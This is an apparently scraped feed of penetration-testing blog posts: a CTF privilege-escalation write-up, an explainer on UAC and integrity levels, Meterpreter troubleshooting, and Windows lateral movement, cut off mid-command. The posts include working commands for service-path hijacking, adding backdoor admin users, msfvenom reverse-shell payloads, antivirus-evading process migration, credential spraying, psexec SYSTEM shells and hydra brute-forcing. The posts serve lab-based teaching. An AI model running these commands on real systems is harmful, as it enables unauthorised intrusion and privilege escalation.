src="https://cdn-images-1.medium.com/max/1024/1*vfPsWbfPZ-A8Nklre9YDIg.png" /><figcaption>Member of the Server Operators group</figcaption></figure><p>Running “whoami /all” reveals that j.rock is a member of the “Server Operators” group. Members of this group have the ability to start and stop services. This is a big clue as to what path this privilege escalation is going to take.</p><p>From my experience, one reason we would need to stop and start a service is after we modify that services binary path. The binary path of a service is the executable (or command) that it will run when the service starts. If we can modify a services binary path we can have it execute a malicious payload or command of our choosing. Let’s see if this will work.</p><p>I started by running the “sc query” command to see what services we could possibly target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*lgyvr7X4oNLb0AobxTT3RA.png" /><figcaption>Denied access</figcaption></figure><p>Welp, that’s not going to work. It looks like we don’t have the permissions necessary to query the Service Control Manager (SCM).</p><p><strong>NOTE:</strong> The reason we had to use “cmd.exe /c” here is because we are running in a PowerShell session and the “sc” command is only available from a command prompt.</p><p>We also attempt the Get-Service command without success:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_j8jD8E4d30elaC82dDP2Q.png" /><figcaption>Again, we don’t have the right privileges to run this.</figcaption></figure><p>Luckily for us, evil-winrm has a built in command called “services” that we can run to show us available services and whether or not our account has the required privileges to access them:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ELxEBN6TwCBtyf2ryeX40g.png" /></figure><p>Based on this output, let’s see if we can modify the binary path of the first service in the list (ADWS). Our goal will be to add j.rock to the Administrators group so we can grab the root flag. If we can successfully run the first command, we’ll follow that up by stopping and starting the service (remember, the command won’t run until the service is restarted).</p><pre>cmd.exe /c sc config ADWS binPATH=&quot;net localgroup Administrators j.rock /add&quot;<br>cmd.exe /c sc stop ADWS<br>cmd.exe /c sc start ADWS</pre><p>Success! We’ll log out and log back in as j.rock and verify our new group membership:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K5DH_oaJmmfVxbPSlq85HQ.png" /><figcaption>We’re now part of the Administrators group!</figcaption></figure><p>Now we can wrap this up by grabbing the root flag…or at least that’s what I thought. It turns out that even though j.rock is now part of the admin group, that user has no access to the root.txt file (note the “N” next to j.rock):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IhizB671LJPuhyz4AARANQ.png" /><figcaption>icacls confirming our user has no access to root.txt</figcaption></figure><p>Now there’s a couple of ways we could get around this. One would be to change the password of the Administrator account (or possibly dump their hash and crack it) and then log in as that account to read the file (because we can see they do have full access to that file). But I wanted to go another route.</p><p>Now that we are an admin, we can use a tool called impacket-psexec that will give us Local System privs on this box (which we can see also has full control over root.txt). If you want to understand more about how psexec is able to do this, I’d encourage you to <a href="https://medium.com/@boxalarm/why-your-shell-doesnt-have-the-privileges-you-expect-diving-into-uac-and-integrity-levels-f58038e08dda">read this article that I recently wrote about UAC, integrity levels, and token filtering</a> (the part about psexec is towards the bottom — but you’ll get value out of the whole post 🙂).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ASFWWl_fMhCImaJgW20Oww.png" /><figcaption>Getting SYSTEM privs through psexec</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*uXl84leqKH07rFlXAHg0uA.png" /></figure><p>And we’re done!</p><p>If you found this writeup helpful, and want to see more of these, it would mean a lot if you would hit the “Follow” button. If you’d like to reach out to me, message me on <a href="https://linkedin.com/in/keith-monroe">LinkedIn</a>.</p><p>Take care!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=109745591e80" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Your Shell Doesn’t Have the Privileges You Expect (Diving Into UAC and Integrity Levels)]]></title>
            <link>https://medium.com/@boxalarm/why-your-shell-doesnt-have-the-privileges-you-expect-diving-into-uac-and-integrity-levels-f58038e08dda?source=rss-4b69d3e7f10e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f58038e08dda</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Keith Monroe]]></dc:creator>
            <pubDate>Thu, 20 Apr 2023 14:56:41 GMT</pubDate>
            <atom:updated>2023-04-20T14:56:41.119Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*90ml2AyhgZhShdQbVDPn_w.png" /></figure><h3>Introduction</h3><p>I was working through the <a href="https://tryhackme.com/room/wreath">Wreath network on THM</a> and I stumbled upon something pretty interesting that I had never been exposed to before. Here’s what happened:</p><p>I had just gained remote code execution (RCE) on a server as NT AUTHORITY / SYSTEM. Now that’s great, but I wanted more! I knew both RDP (which gives us GUI access to remote machines) and WinRM (which basically gives us a remote PowerShell session) were enabled on the system and I wanted a way to access those services. The only problem is that I needed a user account to access them, not a service account. So to make this happen, I ran these commands to create a user and then add that user to the Administrators and Remote Management Users groups:</p><pre>net user TestAdmin mypassword123 /add<br>net localgroup Administrators TestAdmin /add<br>net localgroup &quot;Remote Management Users&quot; TestAdmin /add</pre><p><strong>NOTE:</strong> To access WinRM, a user must be part of the “Remote Management Users” group. To access RDP, a user must be part of the “Remote Desktop Users” group. I go into more detail about this in my <a href="https://medium.com/@boxalarm/the-basics-of-windows-lateral-movement-a247b01a480">post on Windows lateral movement</a>.</p><p>Perfect! I used RCE to create a user (TestAdmin) on this server that has admin privileges and can access WinRM, so let’s take advantage of this!</p><p>From a Linux machine, you can access WinRM with the tool “evil-winrm”:</p><pre>evil-winrm -i &lt;IP&gt; -u &lt;username&gt; -p &lt;password&gt;<br>evil-winrm -i 10.200.84.150 -u TestAdmin -p mypassword123</pre><p><strong>NOTE:</strong> If you only had the NTLM hash of a user, you could use the “-H” switch with the hash instead of “-p”.</p><p>This is what I was greeted with: a remote PowerShell session!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m-LJKnpkVKZkQAC7cPoqnA.png" /></figure><p>Remember that I added this user to the Administrators group, so I should have admin privileges, but this is where things started to get weird… Here’s the output from running “whoami /all”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CQdX6cgG3kdHs7mzOkvuDg.png" /></figure><p>You probably notice that the two privileges I have are waaaay less than what an admin user should have. Check out what I highlighted in red. Just for our sanity, we are actually part of the Administrators group, but this is what you need to pay attention to:</p><pre>Mandatory Label\Medium Mandatory Level</pre><p>That line right there is the reason why we have reduced privileges in this shell. This was my first introduction to integrity levels and it’s something all of us need to understand, so let’s dive in!</p><h3>Integrity Levels: A Primer</h3><p>Ever since Windows Vista, Microsoft has implemented a feature called Mandatory Integrity Control (MIC). The idea behind MIC is to assign integrity levels to processes and objects which are then used to enforce different access controls. Don’t worry, we’re not going too far down a rabbit hole, but here’s what you need to know:</p><p>There are four main integrity levels in Windows:</p><ul><li>Low</li><li>Medium</li><li>High</li><li>System</li></ul><p>Standard user accounts run processes at the “medium” integrity level, accounts with admin privileges run processes at the “high” integrity level, and system level processes and services run at the “system” integrity level. Processes with the “low” integrity level are usually sandboxed or have limited access to system resources.</p><p>So with all that in mind, we’re starting to connect the dots. Remember the results from our “whoami” command? The “Medium Mandatory Level” output means that our shell is running at the medium integrity level — which is generally reserved for standard user accounts, but we’re an admin — what gives??</p><p><strong>NOTE:</strong> You can find out what integrity level your shell is running at with the “whoami /groups” command. In the example, I used “whoami /all” because I also wanted to show the account privileges.</p><h3>User Account Control Always Gets In The Way!</h3><p>The reason our admin user has a medium integrity shell is all thanks to UAC. If you’re not familiar with UAC, this pop up will jog your memory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*jRfIukfVLfhQyL85wAjRSw.png" /><figcaption>This appears after right clicking an application and selecting “Run as Administrator”</figcaption></figure><p>The goal of UAC is to prevent any unauthorized changes from being made to the system. It’s a security feature that provides admin privileges only when necessary (think of it like running sudo on a Linux box). From a GUI, if a standard user attempts to run a process or application that requires higher privileges, they will be prompted to enter admin credentials before that process / application will run. An admin, attempting to do the same thing will not be required to re-enter any credentials, but they will get the pop-up shown above to acknowledge that running this higher privilege process is in fact what they intended to do.</p><p>To make this clear, <strong>if you have GUI access to a system (like via RDP), and you are part of the administrators group, UAC will <em>not</em> be an issue for you</strong>. The reason is because you can simply click “Yes” when you’re prompted to consent to running a higher privilege process or application.</p><p>But remember, in this example, we only have access via a shell (try to forget that RDP was also running on this machine 😅) and because of that we can’t click “Yes” on any UAC prompt. Now, there are multiple ways to bypass UAC restrictions, but that’s not the direction I want to go in this post (make sure to follow me because I will be writing about UAC bypass techniques in the future).</p><p>While I’m not going to dive into UAC bypass, I <strong><em>will</em></strong> show you a very simple way to bypass this entire situation <strong><em>and</em></strong> get a SYSTEM level shell…but first, I want to explain one more concept related to UAC: token filtering.</p><h3>A Quick Detour — Token Filtering</h3><p>So here’s what we know: when UAC is enabled, it will cause an admin user to have a medium integrity shell (there is one exception to this that I’ll mention soon). The way this works is through something called token filtering.</p><p>If UAC is enabled (which it is by default since Windows Vista), and an admin user logs in, Windows will generate two different tokens for them:</p><ul><li>A full token with all the privileges associated with the user account (including administrative rights)</li><li>A filtered token with a reduced set of privileges (excluding the administrative rights).</li></ul><p>In our example, Windows is using this filtered token which produces a medium integrity shell. If UAC for some reason was not enabled on this machine, our admin user would have received a full token and our shell would have been running as high integrity.</p><p><strong>There is ONE exception to all of this!</strong></p><p>The built in Administrator account (designated by a RID of 500) runs in something called “Admin Approval Mode”. What this means is that Windows will automatically grant consent to any UAC prompts <strong>and</strong> that any shell you spawn as this account will be running as high integrity! Here’s an example of me logging in as the built-in Admin user on this machine — notice the integrity level it’s running as (highlighted in red):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G6tUiu2Nhtksvb3I9IF6RA.png" /><figcaption>Built in admin account — notice the relative ID (RID) of 500 (the RID is the last digits of the SID)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SbQ5VuID76qZmAa6XOlgNQ.png" /><figcaption>Output of whoami /groups</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PIYlVKzjgeLi65Rmowm60g.png" /><figcaption>Because we got a shell with the built-in admin account, we now have all the privileges you would expect to see (because we’re running in a high integrity shell)</figcaption></figure><p>You may be thinking, well why wouldn’t I just use this account to get a remote shell? The problem is we may not always have the credentials for this default admin account, which means we have to either bypass UAC from our shell (more details in a future post), get GUI access (so we can click “Yes” on any prompt), or do what I’m about to explain…</p><h3>How can I avoid all of this mess??</h3><p>Before we end this, I want to show you how you can jump straight to getting a SYSTEM level shell in this scenario. If you are an administrator (which our TestAdmin user is) and SMB (port 445) is running on the victim machine, you can use a tool called PsExec to get a remote shell with SYSTEM privileges (yes, it’s that simple!) To do this on Linux you need the <a href="https://github.com/fortra/impacket">impacket toolkit</a>, then just run:</p><pre>impacket-psexec &lt;user&gt;:&lt;password&gt;@&lt;IP&gt;<br><br># If you&#39;re on a domain run this instead<br>impacket-psexec &lt;domain&gt;/&lt;user&gt;:&lt;password&gt;@&lt;IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NbGrWpZJfmPGz44qOlr_4A.png" /></figure><p>Notice that we’re using the same account (not the default admin account) but this time our shell is running as SYSTEM!</p><p>This is why it’s so important to understand <strong>why</strong> things work the way they do. And to help with this, I’ll quickly break down what PsExec is doing:</p><ul><li>After PsExec authenticates to the target system, it uploads a Windows service executable (named something random — in this example it’s xXEYsebs.exe) to the ADMIN$ share.</li><li>It then remotely creates a new Windows service on the target machine, specifying the uploaded executable as the service binary (the binary to run when the service starts).</li><li>The newly created service is then started. Here’s the kicker: Windows services run in the context of the Local System account by default, which means the service (and the corresponding shell) will run with System-level privileges (the highest level of privileges on a Windows machine)</li><li>And finally, the uploaded service binary establishes a connection back to our machine and we’ve got a reverse shell with SYSTEM privs!</li></ul><p>No more medium integrity shell for us!</p><h3>Conclusion</h3><p>Well, I hope this was helpful in some way. My goal for this post was to introduce how integrity levels, UAC, and token filtering all fit together and how they can impact the privileges we may get in our remote shells. So hopefully now you have a better understanding of all of this (it definitely helped me a lot!)</p><p>If you have any questions, I’d love to hear from you — the best way to reach me is through <a href="https://linkedin.com/in/keith-monroe">LinkedIn</a>.</p><p>If you want to get notified of my upcoming posts, I’d love it if you would follow me! It’s funny, even just seeing one person click “Follow” does a lot to motivate me to work on more of these posts 🙂</p><p>Take care!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f58038e08dda" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Your Meterpreter Shell is Dying (Or Not Even Working In the First Place!)]]></title>
            <link>https://medium.com/@boxalarm/why-your-meterpreter-shell-is-dying-or-not-even-working-in-the-first-place-285e5e75ea6d?source=rss-4b69d3e7f10e------2</link>
            <guid isPermaLink="false">https://medium.com/p/285e5e75ea6d</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[Keith Monroe]]></dc:creator>
            <pubDate>Wed, 12 Apr 2023 16:58:10 GMT</pubDate>
            <atom:updated>2023-04-12T20:08:23.574Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FZJhvHpk08jiXGekLRNriw.png" /></figure><h3>Introduction</h3><p>We’ve probably all been there… you just executed your malicious payload and a few seconds later you get the shell you’ve been working so hard for! You’re feeling great so you look away from your screen for just a moment, and when you look back you see those dreaded words:</p><pre>Meterpreter session 1 closed. Reason: Died</pre><p>Ouch.</p><p>In this blog post, I’m going to walk you through several reasons why your Meterpreter shell may be dying (or not even working in the first place) and how you can fix it. When you’re done reading this, I hope you’ll feel like you have more control over whether or not your shell dies (because in many cases, you definitely do). So let’s dig in!</p><h3>Common Mistakes to Avoid</h3><p>We’ll start by going over some low-hanging fruit. There are plenty of easy mistakes we can make that will cause issues with our shells. These can be avoided from the get-go if we just pay more attention to what we’re doing. Here are three of the most common mistakes we make:</p><ol><li>Mismatched payloads</li><li>Trying to catch a staged shell <strong><em>without</em></strong> using the multi/handler</li><li>Architecture mismatch</li></ol><p>One other all too common error I won’t spend any time on are simple typos! Make sure you’ve got all your IPs correct (for the local and remote hosts) and that your ports properly match. If I had a dollar for every time I screwed this up… I’d have at least $7, possibly $10, maybe even more, who knows…</p><p><strong>Quick Tip:</strong> To avoid mistyping IP addresses, you can set the LHOST in msfvenom to a specific interface instead (like eth0 or tun0). You can do the same thing in Metasploit when configuring the multi/handler.</p><h3>Mismatched Payloads</h3><p><strong>Scenario:</strong> You’ve obtained remote code execution (RCE) on a victim machine and you want to upload a malicious payload so you can catch a Meterpreter shell on your attacking machine.</p><p>The process goes something like this: you’ll create a payload using <a href="https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html">msfvenom</a> and you’ll use the multi/handler module in Metasploit to catch it.</p><p>When you’re using msfvenom to generate a payload, you can easily make a mistake by not properly matching the payload you created with msfvenom to the payload configured in the multi/handler.</p><pre># msfvenom payload<br>msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=53 -f exe -o shell.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UtgF_rmRSDG_yrFhLnxPmQ.png" /><figcaption>Make sure the payload here corresponds to the payload you created using msfvenom</figcaption></figure><p>In this example, our payloads are currently mismatched because the multi/handler is using the <strong>generic/shell_reverse_tcp</strong> payload while we configured shell.exe to use <strong>windows/meterpreter/reverse_tcp</strong>. While this is an easy fix, it’s also incredibly easy to overlook. All we need to do is set our payload correctly inside the multi/handler by typing:</p><pre>set payload windows/meterpreter/reverse_tcp</pre><p>This is the output you might see from Metasploit if your payloads don’t match:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aZviaqYJBhW-gyugNiJkaQ.png" /><figcaption>Example output from mismatched payloads</figcaption></figure><p>To get out of this, you’ll have to Ctrl-C and then change the payload in the multi/handler to match the payload from msfvenom (using the command shown above):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bxaHLmBpCL34r2yAx-xHYA.png" /></figure><h3>Catching Staged Payloads Without the multi/handler (Spoiler: It Won’t Work)</h3><p>Okay, to understand this one, we first have to understand the difference between staged and stageless payloads.</p><p>A <strong>staged</strong> payload is sent in two parts. The initial part is called the <strong>stager</strong> which is the code that is executed directly on the victim machine (shell.exe in our previous example). The stager isn’t the final payload though, instead, its job is to connect back to a listener that we set up (the multi/handler) so it can then download the real payload (in our case a Meterpreter shell — this is called the <strong><em>stage</em></strong>). Let me quickly break down what’s happening:</p><ul><li>The stager is executed on the victim machine (shell.exe for example)</li><li>Once executed, the stager reaches out to the listener (the multi/handler we already configured in Metasploit)</li><li>Once the stager is connected to the listener (the multi/handler), the payload is then delivered to the victim machine over that connection</li><li>The final payload (the stage) is downloaded to the victim and then executed giving us our shell (in this case a Meterpreter shell)</li></ul><p>A <strong>stageless</strong> payload on the other hand is entirely self-contained. This means that it is just one large piece of code and once it is executed, it will immediately send back a shell to the waiting listener (nothing additional needs to be sent for it to work).</p><p>Here is a very important distinction: <strong>staged</strong> payloads created with msfvenom <strong>must</strong> be caught with the multi/handler listener in Metasploit. The reason is because the multi/handler needs to send an additional payload to the victim after the stager connects to it.</p><p>While staged payloads need to be caught with the multi/handler, <strong>stageless </strong>payloads do not. This means that you’ll be fine catching a stageless payload with something like netcat (although you will lose out on some functionality doing this). Also of note, you cannot catch a Meterpreter shell with netcat (even if it is stageless), you will always need to use the multi/handler for this.</p><p>When looking at payloads in Metasploit (or msfvenom) you can easily tell the difference between staged and stageless payloads:</p><ul><li>First, the structure of payloads is like this: <em>&lt;OS&gt;/&lt;Architecture&gt;/&lt;Payload&gt;</em></li><li>A staged payload uses <strong>/</strong> (forward slashes) to separate the payload portion while stageless payloads use underscores</li><li><strong>NOTE:</strong> 32-bit payloads don’t contain the architecture in the naming convention, but 64 bit payloads do (as shown below).</li></ul><pre># Staged payload (32 and 64 bit examples)<br>windows/meterpreter/reverse_tcp<br>windows/x64/meterpreter/reverse_tcp<br><br># Stageless payload (32 and 64 bit examples)<br>windows/meterpreter_reverse_tcp<br>windows/x64/meterpreter_reverse_tcp</pre><p>This is what it will look like if you try to catch a staged payload with netcat:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*trbq4PTKGPtfRHkcVS3oGQ.png" /></figure><p>You will receive a connection, but the only thing that connects back is the stager. Remember, the stager doesn’t actually include the shellcode (the code that will give you a shell, allowing you to execute commands on the system) so after issuing a command, the connection will just hang.</p><h3>Architecture Mismatch</h3><p>As we saw when looking at staged and stageless payloads, you can also choose either 32-bit or 64-bit payloads. If you already have RCE on the victim machine, you can run a command to check the architecture:</p><pre># Windows<br>systeminfo<br><br># Linux<br>uname -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dX3Myht4Z0jve89AWRyvNg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VVHMgLLr6gIQbSuctEUwLw.png" /></figure><p>If you already know the architecture of the victim machine, it’s important to pick the correct payload. <strong>If, however, you don’t know the architecture, choose a 32-bit payload because that will still work on 64-bit machines.</strong> Do not choose a 64-bit payload if you aren’t sure of the architecture because that <strong>will not</strong> work on 32-bit machines.</p><h3>Upgrading a 32-bit Meterpreter Shell to 64-bit</h3><p>Let’s say you weren’t sure of the victim machines architecture, so you went with a 32-bit payload (which is best practice). There may be some limitations to this, like not being able to interact with 64-bit processes from your 32-bit Meterpreter shell, but this can be overcome!</p><p>First, once you obtain your Meterpreter shell, run “sysinfo” to check the victim machines architecture. If it says 64-bit (as in the below example), we can migrate to a 64-bit process, which will then allow us to interact with 64-bit processes (and make our shell more stable).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X_qGKJv_ZLq6A1pf211lhw.png" /><figcaption>This shows the victim machine running as 64-bit while our Meterpreter shell is 32-bit (x86/windows)</figcaption></figure><p>To migrate processes, first run “ps”. Then select a 64-bit process to migrate to. Your safest bets are explorer.exe or svchost.exe. For our example, we’ll choose explorer.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-1uSDo4Nb3RlvUTdw4-gVQ.png" /></figure><p>Now type “migrate 4040” (4040 being the process ID) and then run sysinfo again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pMIEvwv8FGDqoNI3SG9Pxw.png" /></figure><p>Notice that your Meterpreter shell is now running in a 64-bit process!</p><h3>My Shell Dies After 30 Seconds… Now What?</h3><p>This is also something we’ve all likely faced. You get a shell and then around 30 seconds later it dies for no apparent reason. What is happening behind the scenes is that something is killing the process attached to your shell (this is likely being done by AV).</p><p>Now if you’re like me and this happens during a CTF, you may just type this out as quickly as you can and hope you can do it before the shell closes <strong>“type c:\users\administrator\desktop\flag.txt”</strong></p><p>But that doesn’t actually solve the problem (or teach us anything!)</p><p>One solution would be to go through a similar process as we just did and quickly run ps and migrate to a different process before the shell dies. This may or may not work, it really depends on how quickly the AV (or something else) is killing our process. If we want a more foolproof method, we can do this automatically as soon as we catch our shell!</p><p>To set this up, we need to go back to our multi/handler. But this time before we run it, we need to add this line:</p><pre>set AutoRunScript &quot;migrate -n explorer.exe&quot;</pre><p>What this will do is cause our Meterpreter shell to immediately migrate to the explorer.exe process as soon as it connects to us. This is helpful because explorer.exe exists on every Windows machine (it is the process that runs the graphical shell of the OS) so we don’t need to know a specific process ID (PID) to migrate to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LHIflsmIowAqAAFMIAiL-A.png" /></figure><p>Boom! Automatic process migration.</p><h3>Conclusion</h3><p>I hope this has been helpful and that it will give you more confidence in understanding why your shells may be dying (and how you can prevent that from happening in the first place).</p><p>My plan is to go into more detail about things like AV and firewall evasion using Metasploit in future blog posts. But if you have anything specific you’d like me to write about, I’d love to hear from you. The best way to reach me is probably on <a href="https://linkedin.com/in/keith-monroe">LinkedIn</a>. Take care!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=285e5e75ea6d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Basics of Windows Lateral Movement]]></title>
            <link>https://medium.com/@boxalarm/the-basics-of-windows-lateral-movement-a247b01a480?source=rss-4b69d3e7f10e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a247b01a480</guid>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[lateral-movement]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Keith Monroe]]></dc:creator>
            <pubDate>Thu, 23 Mar 2023 16:04:44 GMT</pubDate>
            <atom:updated>2023-03-23T19:10:43.722Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1HBVNIh0Lu6QXbxJBTQrvQ.jpeg" /></figure><h3>Introduction</h3><p>The goal of this post is to explain how to use several common tools to move laterally in a Windows environment. I’ve been confused in the past as to why certain tools would or would not work in certain circumstances so I want to do my best to clear all of that up.</p><p>But before we get into all of that, the first step is to understand what lateral movement actually is.</p><blockquote><em>Lateral movement is a technique attackers use after gaining initial access to a network to move deeper into that network. The goal is to uncover more sensitive data and credentials that will create opportunities to access other systems.</em></blockquote><p>The only prerequisite for lateral movement is having a valid set of credentials to a host on the target network. This set of credentials can either be for a local account or a domain account.</p><h3>Scenario</h3><p>Alright, let’s lay the groundwork for our little exercise. You’ve just compromised XYZ Corp’s public facing web server (running Windows Server 2019). You were then quickly able to escalate your privileges to become a local admin on that machine. Hashes were dumped revealing several domain user accounts. While some of the hashes were easily cracked with rockyou.txt, not all of them were (but that’s okay — we can work with that!).</p><p>Now what do we do? Let’s pretend that the information we’re looking for doesn’t reside on this web server, which means we’re going to have to start performing some lateral movement to find the juicy data we so desire.</p><h3>First Steps — Discovering Additional Hosts</h3><p>Before we can attempt to compromise additional machines, we first need to figure out if any of them actually exist! There are a lot of methods we can use for this, I’ll just quickly list several things we can try.</p><ul><li>Check if there are additional networks this web server can communicate with</li><li>Run a ping sweep from the web server itself</li><li>If we have some pivoting setup, we could also run an Nmap scan from our attack box (I’ll explain how to pivot in another blog post)</li></ul><p>Here are some commands we can use to accomplish this:</p><pre># Check if the host is dual-homed, meaning it has multiple NICs (multiple IP&#39;s)<br>ipconfig # Windows<br>ifconfig # Linux<br>ip a     # Linux<br><br># Check routing tables <br>route       # Linux<br>route print # Windows<br><br># Check ARP cache to see who this host has communicated with<br>arp -a<br><br># Run ping sweep (Windows)<br>for /L %i in (1 1 254) do ping 172.16.1.%i -n 1 -w 100 | find &quot;Reply&quot; # CMD prompt<br>1..254 | % {&quot;172.16.1.$($_): $(Test-Connection -count 1 -comp 172.16.1.$($_) -quiet)&quot;} # PowerShell<br><br># Run ping sweep (Linux)<br>for i in {1..254} ;do (ping -c 1 172.16.1.$i | grep &quot;bytes from&quot; &amp;) ;done<br><br># Nmap host discovery scan from attack box<br>nmap -sn 172.16.1.0/24 </pre><p>After running a ping sweep we discover one additional host: 172.16.1.10! Now the fun part begins!</p><h3>Let the Lateral Movement Commence!</h3><p>We found an additional host on the internal network and we just ran a port scan revealing three interesting ports:</p><pre>445/tcp   open  SMB<br>3389/tcp  open  RDP<br>5985/tcp  open  WinRM</pre><p><strong>Server Message Block (SMB)</strong>, <strong>Remote Desktop Protocol (RDP)</strong>, and <strong>Windows Remote Management (WinRM)</strong> are all essential services we need to understand in order to effectively move deeper into Windows domains. Let’s dig into each of these services!</p><h3>Server Message Block (SMB)</h3><p>This is commonly associated with file sharing but we can use this service to remotely connect to other hosts if we have the right privileges. To test whether or not we have those privileges we can use a tool called <a href="https://github.com/Porchetta-Industries/CrackMapExec">CrackMapExec</a>. I would highly recommend that you look more into this tool because it is incredibly versatile and we’ll only be scratching the surface on it’s capabilities in this post.</p><p>We can use CrackMapExec (CME) to test if the accounts we’ve discovered through credential harvesting (remember the hashes we dumped earlier?) exist on our newly discovered host (172.16.1.10).</p><blockquote><strong>NOTE:</strong> A good strategy is to dump all valid user accounts you’ve discovered into a file named something like “usernames.txt” and then all valid passwords you’ve found in a file called “passwords.txt”. Password reuse is a real thing and as we’re about to see we can use CME to test all valid usernames against all the different passwords we’ve found to see if these accounts may exist on any other machine on the network.</blockquote><p>There’s one last thing we need to understand before we fire up CME: the difference between domain accounts and local accounts. A <strong>domain account</strong> will be able to login to any other domain-joined machine on the network (but the level of access will vary based on their group memberships, including whether or not they are able to login remotely). A <strong>local account</strong> will only be able to login to that specific machine (but remember that local account passwords may be reused across multiple machines — this is devastating if the local admin accounts password is reused!).</p><p>So with our newly discovered creds, let’s run CME to see if we may be able to log into 172.16.1.10:</p><pre># Test all usernames found against all passwords found<br>crackmapexec smb 172.16.1.10 -u usernames.txt -p passwords.txt<br><br># Do the same thing, but this time check for local accounts<br>crackmapexec smb 172.16.1.10 -u usernames.txt -p passwords.txt --local-auth<br><br># Select one specific account to test<br>crackmapexec smb 172.16.1.10 -u administrator -p MyPassword123!<br>crackmapexec smb 172.16.1.10 -u administrator -p MyPassword123! --local-auth</pre><p>Let’s break down the results:</p><pre>root@kali [/root]# crackmapexec smb 172.16.1.10 -u administrator -p MyPassword123!<br>SMB         172.16.1.10     445    WIN-03              [*] Windows 10.0 Build 19041 x64 (name:WIN-03) (domain:XYZCorp.com) (signing:False) (SMBv1:False)<br>SMB         172.16.1.10     445    WIN-03              [+] XYZCorp.com\\administrator:MyPassword123! (Pwn3d!)</pre><p>I want you to notice the words <strong>“(Pwn3d!)”</strong> because if you see this, it means that the account you tested is part of the Administrators group. This is incredibly important because that means that we can use a tool called PSExec to remotely log in to this machine! If you were to just see the <strong>[+]</strong> that would indicate that the account <em>does</em> exist on the machine but it is not an admin account. If you are testing multiple accounts and see a <strong>[-]</strong> that means the account does not exist on the machine at all.</p><blockquote><strong>NOTE:</strong> It’s good practice to test all accounts to see if they are valid domain users or valid local users. In the above example, had I not gotten positive results I would run CME again and add the — local-auth switch to test if this account was a local account instead of a domain account.</blockquote><h3>Remote Access via PSExec</h3><p>I’m not going to dive into the details of how PSExec works in this post, but I do want you to understand two things that are necessary in order to remotely log into another host using PSExec:</p><ul><li>Port 445 must be open (PSExec works over SMB)</li><li>The account you’re trying to log in with must be part of the Administrators group on that machine (which is the case when CME outputs “Pwn3d!”)</li></ul><p>Now to gain a remote shell on 172.16.1.10, we can run this command:</p><pre># From our attack box<br>impacket-psexec XYZCorp/administrator:&#39;MyPassword123!&#39;@172.16.1.10</pre><pre># From compromised web server (we&#39;ll likely have to upload this tool first)<br>psexec64.exe \\\\172.16.1.10 -u administrator -p MyPassword123! -i cmd.exe</pre><p><em>Download the impacket toolkit </em><a href="https://github.com/fortra/impacket"><em>here</em></a><em> and psexec for Windows </em><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/psexec"><em>here</em></a><em>.</em></p><h3>Remote Desktop Protocol (RDP)</h3><p>Another option for lateral movement is utilizing RDP to gain GUI access to a machine. You can do this whether you have a domain or local account. The only prerequisite is that the account must be a member of the <strong>Remote Desktop Users</strong> group (and obviously the service itself needs to be running — most commonly over port 3389).</p><p>You can use a tool like Hydra to test if any combination of usernames / passwords you’ve already discovered has RDP access to a particular machine:</p><pre>hydra -L usernames.txt -P 